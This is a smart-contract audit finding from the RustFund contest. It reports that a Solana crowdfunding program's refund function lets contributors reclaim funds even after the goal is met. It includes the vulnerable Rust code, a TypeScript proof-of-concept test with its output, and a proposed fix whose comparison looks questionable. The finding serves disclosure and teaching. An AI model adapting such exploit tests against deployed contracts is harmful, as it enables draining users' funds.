RustFund

First Flight #36
Beginner FriendlyRust
100 EXP
View results
Submission Details
Severity: high
Valid

[H-3] Users can get refunds even if the campaign is successful

Summary

According to the docs, Contributors "Can request refunds under if the campaign fails to meet the goal and the deadline is reached". This means that if the goal of the crowdfunding is for example 10 SOL, and the campaign accrues 12 SOL, Contributors shouldn't be able to get refunds.

Vulnerability Details

The current implementation of the refund function doesn't check if fund.goal was exceeded or not.

pub fn refund(ctx: Context<FundRefund>) -> Result<()> {
//@audit doesn't check if fund.goal is met and allows users to simply get refunded after the deadline
let amount = ctx.accounts.contribution.amount;
if ctx.accounts.fund.deadline != 0 && ctx.accounts.fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap() {
return Err(ErrorCode::DeadlineNotReached.into());
}
**ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.fund.to_account_info().lamports()
.checked_sub(amount)
.ok_or(ProgramError::InsufficientFunds)?;
**ctx.accounts.contributor.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.contributor.to_account_info().lamports()
.checked_add(amount)
.ok_or(ErrorCode::CalculationOverflow)?;
// Reset contribution amount after refund
ctx.accounts.contribution.amount = 0;
Ok(())

Impact

  • Contributors will get refunds even if the campaign is successful

  • This breaks the integrity of the whole crowdfunding system. A Creator will withdraw fewer tokens than intended if Contributors get refunds before the Creator calls the withdraw function.

PoC

Put the following test in the test file:

// Helper to airdrop lamports to a given public key.
async function airdropSol(publicKey: PublicKey, amount: number) {
const airdropTx = await anchor.getProvider().connection.requestAirdrop(publicKey, amount);
await confirmTransaction(airdropTx);
}
async function confirmTransaction(tx: string) {
const latestBlockHash = await anchor.getProvider().connection.getLatestBlockhash();
await anchor.getProvider().connection.confirmTransaction({
blockhash: latestBlockHash.blockhash,
lastValidBlockHeight: latestBlockHash.lastValidBlockHeight,
signature: tx,
});
}
it.only("eronous refunds", async () => {
// Set up parameters.
const testFundName = "RefundBugFund-" + Date.now();
const testDescription = "Test fund for refund bug demonstration";
const testGoal = new anchor.BN(10_000_000_000); // 10 SOL in lamports.
const depositAmount = new anchor.BN(6_000_000_000); // 6 SOL deposit.
// Set deadline to 10 seconds from now.
const deadline = new anchor.BN(Math.floor(Date.now() / 1000) + 10);
// Derive the PDA for the fund using seeds [name, creator].
const [testFundPDA] = await PublicKey.findProgramAddress(
[Buffer.from(testFundName), creator.publicKey.toBuffer()],
program.programId
);
// Create the fund.
await program.methods
.fundCreate(testFundName, testDescription, testGoal)
.accounts({
fund: testFundPDA,
creator: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
// Set the deadline.
await program.methods
.setDeadline(deadline)
.accounts({
fund: testFundPDA,
creator: creator.publicKey,
})
.rpc();
// Contribution from the creator.
const [creatorContributionPDA] = await PublicKey.findProgramAddress(
[testFundPDA.toBuffer(), creator.publicKey.toBuffer()],
program.programId
);
await program.methods
.contribute(depositAmount)
.accounts({
fund: testFundPDA,
contributor: creator.publicKey,
contribution: creatorContributionPDA,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
// Contribution from another user.
await airdropSol(otherUser.publicKey, 10_000_000_000); // ensure sufficient funds (10 SOL).
const [otherContributionPDA] = await PublicKey.findProgramAddress(
[testFundPDA.toBuffer(), otherUser.publicKey.toBuffer()],
program.programId
);
await program.methods
.contribute(depositAmount)
.accounts({
fund: testFundPDA,
contributor: otherUser.publicKey,
contribution: otherContributionPDA,
systemProgram: anchor.web3.SystemProgram.programId,
})
.signers([otherUser])
.rpc();
// Verify that total amount raised is 12 SOL, which exceeds the 10 SOL goal.
const fundAccount = await program.account.fund.fetch(testFundPDA);
console.log("Fund goal:", fundAccount.goal.toString());
console.log("Fund amount raised:", fundAccount.amountRaised.toString());
expect(fundAccount.amountRaised.eq(new anchor.BN(12_000_000_000))).to.be
.true;
expect(fundAccount.amountRaised.gt(testGoal)).to.be.true;
// Wait for the deadline to pass.
console.log("Waiting for deadline to pass...");
await new Promise((resolve) => setTimeout(resolve, 15000));
// Assert that current timestamp > fund.deadline.
const currentTimestamp = Math.floor(Date.now() / 1000);
const fundAccountAfterDeadline = await program.account.fund.fetch(
testFundPDA
);
console.log("Current timestamp:", currentTimestamp);
console.log("Fund deadline:", fundAccountAfterDeadline.deadline.toNumber());
expect(currentTimestamp).to.be.gt(
fundAccountAfterDeadline.deadline.toNumber()
);
// Call refund as the contributor.
await program.methods
.refund()
.accounts({
fund: testFundPDA,
contribution: otherContributionPDA,
contributor: otherUser.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.signers([otherUser])
.rpc();
});

Test output

rustfund
(node:1369) ExperimentalWarning: The Fetch API is an experimental feature. This feature could change at any time
(Use `node --trace-warnings ...` to show where the warning was created)
Fund goal: 10000000000
Fund amount raised: 12000000000
Waiting for deadline to pass...
Current timestamp: 1742589982
Fund deadline: 1742589976
✔ eronous refunds (17081ms)
1 passing (17s)
Done in 18.27s.

Tools Used

Manual review

Recommendations

pub fn refund(ctx: Context<FundRefund>) -> Result<()> {
+ if ctx.accounts.fund.goal < ctx.accounts.fund.to_account_info().lamports() {
+ return Err(ErrorCode::GoalReached.into());
+ }
//..
//..
}
Updates

Appeal created

bube Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

There is no check for goal achievement in `refund` function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.